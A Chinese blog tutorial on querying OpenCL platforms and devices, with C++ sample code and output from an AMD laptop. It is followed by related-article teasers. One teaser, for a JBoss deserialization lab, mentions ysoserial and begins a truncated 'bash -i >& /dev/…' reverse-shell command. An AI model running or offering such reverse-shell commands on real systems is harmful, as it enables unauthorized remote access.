OpenCL 学习(2)---- OpenCL Platform 和 Device

目录

        • OpenCL Platform
        • OpenCL Device
        • 参考代码

OpenCL Platform

opencl 支持的 Platform 可以使用 clGetPlatformIDs 函数查询,函数原型如下:

clGetPlatformIDs(cl_uint          /* num_entries */,cl_platform_id * /* platforms */,cl_uint *        /* num_platforms */);

如果将platforms参数设置为nullptrnum_platforms会返回当前平台上可用的platform数量
一般将 num_entriesplatforms 设置为 0 和 nullptr 来查询可用的platform数量

在得到当前支持platform 的前提下,设置 num_entriesplatforms 就可以获取到所有的 platfromID,参考代码如下:

	std::vector<cl_platform_id> clplatform;cl_uint num_platform;err = clGetPlatformIDs(0, nullptr, &num_platform);std::cout << "number of platforms: " << num_platform << std::endl;clplatform.resize(num_platform);err = clGetPlatformIDs(num_platform, clplatform.data(), NULL);

获取到 platfromID 之后,可以使用 clGetPlatformInfo 获取平台的信息,其原型如下:

clGetPlatformInfo(cl_platform_id   /* platform */, cl_platform_info /* param_name */,size_t           /* param_value_size */, void *           /* param_value */,size_t *         /* param_value_size_ret */);
  • cl_platform_id 前面获取的的 platformId
  • cl_platform_info 设置需要获取到的 platformInfo
  • param_value_size 对应的 param_value 的字符串大小
  • param_value 对应的 param_value 的字符串指针
  • 返回获取的 param_value_size

一般先将param_value_sizeparam_value设置为 0 和nullptr,返回param_valuesize大小,
然后使用获取到的size 传递给param_value_size,得到对应的param_value

对于不同的platformInfo信息,含义如下:

platformInfo返回类型说明
CL_PLATFORM_PROFILEchar[]FULL_PROFILE 或者 EMBEDDED_PROFILE
CL_PLATFORM_VERSIONchar[]opencl 版本
CL_PLATFORM_NAMEchar[]平台名称
CL_PLATFORM_VENDORchar[]平台厂商
CL_PLATFORM_EXTENSIONSchar[]平台支持扩展名

FULL_PROFILE:支持定位为核心规范的所有功能
EMBEDDED_PROFILE: 支持定位为核心规范的所有功能的一个子集

OpenCL Device

每个平台可能关联到一组计算设备,应用程序通过这些计算设备执行内核程序,使用
clGetDeviceIDs 查询支持的设备列表

extern CL_API_ENTRY cl_int CL_API_CALL
clGetDeviceIDs(cl_platform_id   /* platform */,cl_device_type   /* device_type */, cl_uint          /* num_entries */, cl_device_id *   /* devices */, cl_uint *        /* num_devices */) CL_API_SUFFIX__VERSION_1_0;

这个函数会得到于 platformID 关联的所有的 OpenCL 设备列表,如果参数 devices 设置为 null,clGetDeviceIDs 会返回设备数,返回的设备数可以用 num_entries来限制(0 < num_entries <= 设备数)

其中的 cl_device_type 可以是下表中的一个值:

cl_device_type描述
CL_DEVICE_TYPE_CPU作为宿主机处理器的 OpenCL 设备
CL_DEVICE_TYPE_GPU作为 GPU 的 OpenCL 设备
CL_DEVICE_TYPE_ACCELERATOROpenCL 加速器
CL_DEVICE_TYPE_ALL和平台关联的所有 OpenCL 设备

给定一个设备,可以使用下面函数查询各种属性:

extern CL_API_ENTRY cl_int CL_API_CALL
clGetDeviceInfo(cl_device_id    /* device */,cl_device_info  /* param_name */, size_t          /* param_value_size */, void *          /* param_value */,size_t *        /* param_value_size_ret */) CL_API_SUFFIX__VERSION_1_0;

可以将param_value_sizeparam_value设置为 0 和 nullptr 来查询返回值的大小

具体可以查询的 Device 属性如下图所示:
OpenCL device

参考代码

获取 platform 和 device 属性的参考代码如下:

void getCLPlatformInfo() {cl_int err;//cl_platform_id* platform;std::vector<cl_platform_id> clplatform;cl_uint num_platform;std::vector<cl_device_id> cldevice;cl_uint num_device;err = clGetPlatformIDs(0, nullptr, &num_platform);std::cout << "number of platforms: " << num_platform << std::endl;clplatform.resize(num_platform);err = clGetPlatformIDs(num_platform, clplatform.data(), NULL);for (auto& platform : clplatform) {size_t size;err = clGetPlatformInfo(platform, CL_PLATFORM_NAME, 0, NULL, &size);cl_char* PName = new cl_char[size];err = clGetPlatformInfo(platform, CL_PLATFORM_NAME, size, PName, NULL);printf("CL_PLATFORM_NAME: %s\n", PName);err = clGetPlatformInfo(platform, CL_PLATFORM_VENDOR, 0, NULL, &size);cl_char* PVendor = new cl_char[size];err = clGetPlatformInfo(platform, CL_PLATFORM_VENDOR, size, PVendor, NULL);printf("CL_PLATFORM_VENDOR: %s\n", PVendor);err = clGetPlatformInfo(platform, CL_PLATFORM_VERSION, 0, NULL, &size);cl_char* PVersion = new cl_char[size];err = clGetPlatformInfo(platform, CL_PLATFORM_VERSION, size, PVersion, NULL);printf("CL_PLATFORM_VERSION: %s\n", PVersion);err = clGetPlatformInfo(platform, CL_PLATFORM_PROFILE, 0, NULL, &size);cl_char* PProfile = new cl_char[size];err = clGetPlatformInfo(platform, CL_PLATFORM_PROFILE, size, PProfile, NULL);printf("CL_PLATFORM_PROFILE: %s\n", PProfile);err = clGetPlatformInfo(platform, CL_PLATFORM_EXTENSIONS, 0, NULL, &size);cl_char* PExten = new cl_char[size];err = clGetPlatformInfo(platform, CL_PLATFORM_EXTENSIONS, size, PExten, NULL);printf("CL_PLATFORM_EXTENSIONS: %s\n", PExten);delete[] PName;delete[] PVendor;delete[] PVersion;delete[] PProfile;delete[] PExten;}std::cout << "\n=======================================================\n" << std::endl;for (auto& platform : clplatform) {size_t size;err = clGetDeviceIDs(platform, CL_DEVICE_TYPE_ALL, 0, nullptr, &num_device);std::cout << "num of device:" << num_device << std::endl;cldevice.resize(num_device);err = clGetDeviceIDs(platform, CL_DEVICE_TYPE_ALL, num_device, cldevice.data(), nullptr);for (auto& device : cldevice) {// deviceNameerr = clGetDeviceInfo(device, CL_DEVICE_NAME, 0, nullptr, &size);cl_char* PDeviceName = new cl_char[size];err = clGetDeviceInfo(device, CL_DEVICE_NAME, size, PDeviceName, nullptr);std::cout << "PDeviceName:" << PDeviceName << std::endl;// device vendorerr = clGetDeviceInfo(device, CL_DEVICE_VENDOR, 0, nullptr, &size);cl_char* PDeviceVendor = new cl_char[size];err = clGetDeviceInfo(device, CL_DEVICE_VENDOR, size, PDeviceVendor, nullptr);std::cout << "PDeviceVendor:" << PDeviceVendor << std::endl;// driver versionerr = clGetDeviceInfo(device, CL_DRIVER_VERSION, 0, nullptr, &size);cl_char* PDriverVersion = new cl_char[size];err = clGetDeviceInfo(device, CL_DRIVER_VERSION, size, PDriverVersion, nullptr);std::cout << "PDriverVersion:" << PDriverVersion << std::endl;// device profileerr = clGetDeviceInfo(device, CL_DEVICE_PROFILE, 0, nullptr, &size);cl_char* PProfile = new cl_char[size];err = clGetDeviceInfo(device, CL_DEVICE_PROFILE, size, PProfile, nullptr);std::cout << "PProfile:" << PProfile << std::endl;// device versionerr = clGetDeviceInfo(device, CL_DEVICE_VERSION, 0, nullptr, &size);cl_char* PDeviceVersion = new cl_char[size];err = clGetDeviceInfo(device, CL_DEVICE_VERSION, size, PDeviceVersion, nullptr);std::cout << "PDeviceVersion:" << PDeviceVersion << std::endl;// device opencl c versionerr = clGetDeviceInfo(device, CL_DEVICE_OPENCL_C_VERSION, 0, nullptr, &size);cl_char* POpenCLCVersion = new cl_char[size];err = clGetDeviceInfo(device, CL_DEVICE_OPENCL_C_VERSION, size, POpenCLCVersion, nullptr);std::cout << "POpenCLCVersion:" << POpenCLCVersion << std::endl;// device extensionerr = clGetDeviceInfo(device, CL_DEVICE_EXTENSIONS, 0, nullptr, &size);cl_char* PDeviceExtensions = new cl_char[size];err = clGetDeviceInfo(device, CL_DEVICE_EXTENSIONS, size, PDeviceExtensions, nullptr);std::cout << "PDeviceExtensions:" << PDeviceExtensions << std::endl;// 最大计算单元数cl_uint UnitNum;err = clGetDeviceInfo(device, CL_DEVICE_MAX_COMPUTE_UNITS, sizeof(cl_uint), &UnitNum, nullptr);std::cout << "Max ComputeUnit Number:" << UnitNum << std::endl;// 最高核心频率cl_uint frequency;err = clGetDeviceInfo(device, CL_DEVICE_MAX_CLOCK_FREQUENCY, sizeof(cl_uint), &frequency, nullptr);std::cout << "Max clock frequency:" << frequency << std::endl;// 查询设备全局内存大小cl_ulong GlobalSize;err = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_SIZE, sizeof(cl_ulong), &GlobalSize, nullptr);std::cout << "GlobalSize Uniform Memory Size(B):" << GlobalSize << std::endl;// 查询设备全局内存缓存行cl_uint GlobalCacheLine;err = clGetDeviceInfo(device, CL_DEVICE_GLOBAL_MEM_CACHELINE_SIZE, sizeof(cl_uint), &GlobalCacheLine, nullptr);std::cout << "Device Global CacheLine(B):" << GlobalCacheLine << std::endl;delete[] PDeviceName;delete[] PDeviceVendor;delete[] PDriverVersion;delete[] PProfile;delete[] PDeviceVersion;delete[] POpenCLCVersion;delete[] PDeviceExtensions;}}}

在我的 Ryen5 集成 Radeon Graphics Vega 8 集成显卡的笔记本得到的结果如下:

CL_PLATFORM_PROFILE: FULL_PROFILE
CL_PLATFORM_EXTENSIONS: cl_khr_icd cl_khr_d3d10_sharing cl_khr_d3d11_sharing cl_khr_dx9_media_sharing cl_amd_event_callback cl_amd_offline_devices
=======================================================
num of device:1
PDeviceName:gfx902
PDeviceVendor:Advanced Micro Devices, Inc.
PDriverVersion:3570.0 (PAL,HSAIL)
PProfile:FULL_PROFILE
PDeviceVersion:OpenCL 2.0 AMD-APP (3570.0)
POpenCLCVersion:OpenCL C 2.0
PDeviceExtensions:cl_khr_fp64 cl_amd_fp64 cl_khr_global_int32_base_atomics cl_khr_global_int32_extended_atomics cl_khr_local_int32_base_atomics cl_khr_local_int32_extended_atomics cl_khr_int64_base_atomics cl_khr_int64_extended_atomics cl_khr_3d_image_writes cl_khr_byte_addressable_store cl_khr_fp16 cl_khr_gl_sharing cl_amd_device_attribute_query cl_amd_vec3 cl_amd_printf cl_amd_media_ops cl_amd_media_ops2 cl_amd_popcnt cl_khr_d3d10_sharing cl_khr_d3d11_sharing cl_khr_dx9_media_sharing cl_khr_image2d_from_buffer cl_khr_subgroups cl_khr_gl_event cl_khr_depth_images cl_khr_mipmap_image cl_khr_mipmap_image_writes cl_amd_copy_buffer_p2p cl_amd_planar_yuv
Max ComputeUnit Number:8
Max clock frequency:1201
GlobalSize Uniform Memory Size(B):7534542848
Device Global CacheLine(B):64

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.xdnf.cn/news/147352.html

如若内容造成侵权/违法违规/事实不符,请联系一条长河网进行投诉反馈,一经查实,立即删除!

相关文章

深度之眼(三十)——pytorch(一)--深入浅出pytorch(附安装流程)

文章目录 一、前言一、pytoch二、六个部分三、如何学习四、学习路径&#xff08;重要)五、安装pytorch5.1 坑15.2 坑2 一、前言 我看了下目录 第一章和第二章都是本科学的数字图像处理。 也就是这一专栏&#xff1a;数字图像实验。 所以就不准备学习前两章了&#xff0c;直接…

神奇的可变模板参数的应用(C++标准库双向链表 list 中的emplace函数实现)

我们先来看一个可以构造任意对象的函数&#xff1a; /// <summary> /// 可以构造任意对象的函数 /// </summary> /// <typeparam name"MyClass">要转换对象的类型</typeparam> /// <typeparam name"...MyClassConstructorParameterT…

新手上路:在Windows CPU上安装Anaconda和PyCharm

提示&#xff1a;文章写完后&#xff0c;目录可以自动生成&#xff0c;如何生成可参考右边的帮助文档 文章目录 一. 确认自己是CPU为什么选择CPU教程&#xff1f;GPU与CPU的区别如何判断自己是CPU 二. Anaconda 安装包 和 Pycharm 安装包步骤1&#xff1a;下载Anaconda步骤2&am…

摆脱困境并在iPhone手机上取回删除照片的所有解决方案

您是否无意中从 iPhone 中删除了照片&#xff1f;您&#xff0c;无需惊慌&#xff0c;因为您可以使用以下方法恢复所有照片。 如果您长时间使用 iPhone&#xff0c;您应该知道 iOS 提供了许多 Android 不提供的备份功能。例如&#xff0c;您的所有照片都会自动备份到 iCloud 存…

5分钟内理解 .prototype 链 | 2024

在JavaScript的世界里,原型(prototype)系统是一个常被讨论但不易掌握的概念。作为JavaScript继承模型的基石,理解原型对于构建大型应用或进行对象操作至关重要。让我们一起探索这个迷人的话题,揭开原型系统的神秘面纱。 什么是原型? 在JavaScript中,每个对象都有一个内部属性[…

常见中间件漏洞(Jboss)靶场

1.CVE-2015-7501 开启环境查看端口 http://192.168.10.194:8080/ invoker/JMXInvokerServlet 说明接⼝开放&#xff0c;此接⼝存在反序列化漏洞 下载 ysoserial ⼯具进⾏漏洞利⽤ https://github.com/frohoff/ysoserial 将反弹shell进⾏base64编码 bash -i >& /dev/…

C++ Qt 之 QPushButton 好看的样式效果实践

文章目录 1.前序2.效果演示3.代码如下 1.前序 启发于 edge 更新 web 页面&#xff0c;觉得人家做的体验挺好 决定在Qt实现&#xff0c;方便以后使用 2.效果演示 特性介绍&#xff1a; 默认蓝色鼠标移入 渐变色&#xff0c;鼠标变为小手鼠标移出 恢复蓝色&#xff0c;鼠标恢…

【学习笔记】 AD24中元器件重叠系统不报错的解决方案(消除报错)

【学习笔记】 AD24中PCB设计元器件重叠后系统不报错的解决方案&#xff08;如何主动屏蔽报错&#xff09; 一、Component Clearance未开启使能的解决方案二、最小水平间距设置错误的解决方案三、未开启设计规则检查的解决方案四、设计规则检查中 “在线”和“批量”的含义五、为…

前端——JavaScript练习 做一个todoList

用前端制作一个todoList的表格&#xff0c;实现更新、删除、修改等功能。 涉及几个知识点&#xff1a; 设置最小高度&#xff08;宽度&#xff09;&#xff1a; .container{min-width: 350px;/* 最小宽度 最小不会小于210px */ } 去掉外轮廓 outline: none; 去除字…

寄存器与内存

第三课&#xff1a;寄存器与内存、中央处理器&#xff08;CPU&#xff09;、指令和程序及高级 CPU 设计-CSDN博客 锁存器 引入 ABO0&#xff08;开始状态&#xff09;001&#xff08;将A置1&#xff09;110&#xff08;将A置0&#xff09;11 无论怎么做&#xff0c;都没法从1变…

深度学习(一):神经网络入门

文章目录 一、神经网络1.1神经元结构1.2单层神经网络&#xff1a;单层感知机1.3两层神经网络&#xff1a;多层感知机1.4多层神经网络 二、全连接神经网络2.1基本结构2.2激活函数、前向传播、反向传播、损失函数2.2.1激活函数的意义2.2.2前向传播2.2.3损失函数、反向传播2.2.4梯…

uniapp小程序持续获取用户位置信息,后台位置获取

做一个小程序持续获取用户位置信息的功能&#xff0c;即使小程序切换到后台也能继续获取&#xff0c;getLocation这个api只有小程序在前台才能获取位置&#xff0c;所以不用这个 先申请一个腾讯地图key 在uniapp项目配置源码视图里加上这个代码 先获取权限&#xff0c;再开启…

NtripShare测量机器人自动化监测系统测站更换仪器后重新设站

NtripShare测量机器人自动化监测系统投入商业运营已经很久了&#xff0c;在MosBox与自动优化网平差技术的加持下&#xff0c;精度并不让人担心&#xff0c;最近基于客户需求处理了两个比较大的问题。 1、增加对反射片和免棱镜的支持。 2、进一步优化测站更换仪器或重新整平后重…

批量归一化与层归一化的区别

batch-normalization是根据每一列的特征进行批量归一化&#xff0c;把一个batch&#xff08;N张图片&#xff09;中同一通道的特征(w*h的特征图)&#xff0c;将其标准化。可以理解为对batch中的所有图的每一层像素(也就是不同的通道)进行标准化。通常在图像领域用的多&#xff…

【报告阅读】chatgpt-o1 技术报告阅读 | 新的迭代开始了~

OpenAI o1是通过强化学习去进行复杂推理&#xff0c;在它回答之前&#xff0c;他会经过复杂的内部思维链的思考。 经过强化训练的o1多强 1 表现 在美国数学奥林匹克预选赛中名列前500名的学生中&#xff0c;o1排89名 在物理、生物、化学问题的基准测试中超过人类博士水平 其…

(done) 声音信号处理基础知识(6) (How to Extract Audio Features)

参考&#xff1a;https://www.youtube.com/watch?v8A-W1xk7qs8&t2s 先复习之前分类的声学特征 时域特征流水线 如下是 441Khz 下一个采样点播放的时间。这比人类耳朵分辨率(10ms)还低。 所以&#xff0c;把多个采样点组合成一个 frame 的原因有&#xff0c;这是一个人…

布草洗涤必备4张表-———未来之窗行业应用跨平台架构

一、洗涤厂客户月度报表 二、大酒店楼层布草月度统计报表 三、职员月度报表 四、司机当日统计报表 五、阿雪技术观 拥抱开源与共享&#xff0c;见证科技进步奇迹&#xff0c;畅享人类幸福时光&#xff01; 让我们积极投身于技术共享的浪潮中&#xff0c;不仅仅是作为受益者&a…

Docker实践——天池篇

参考零基础入门Docker-cuda练习场_学习赛_天池大赛-阿里云天池的赛制 (aliyun.com) ​ 在Docker零基础入门-CSDN博客中我已经安装了docker,现在开始创建自己的镜像仓库。 1. 开通阿里云容器镜像服务(镜像仓库) 进入容器镜像服务 (aliyun.com) 1.1. 创建个人实例 点击“…

Elasticsearch导出导入数据

1.概念回顾 2.基础操作 展示详细信息 GET&#xff1a;http://127.0.0.1:9200/_cat/indices?v Java代码将文件导入到ES package com.Graph.medicalgraph;import org.apache.http.HttpHost; import org.elasticsearch.action.bulk.BulkRequest; import org.elasticsearch.act…

17_Python的生成器

生成器&#xff08;Generator&#xff09; 生成器&#xff08;Generator&#xff09;是Python中一种特殊的迭代器&#xff0c;它允许你在需要时才计算和产生值&#xff0c;而不是一次性生成整个序列。生成器使用yield语句来逐个产生值&#xff0c;而不是像迭代器那样实现__ite…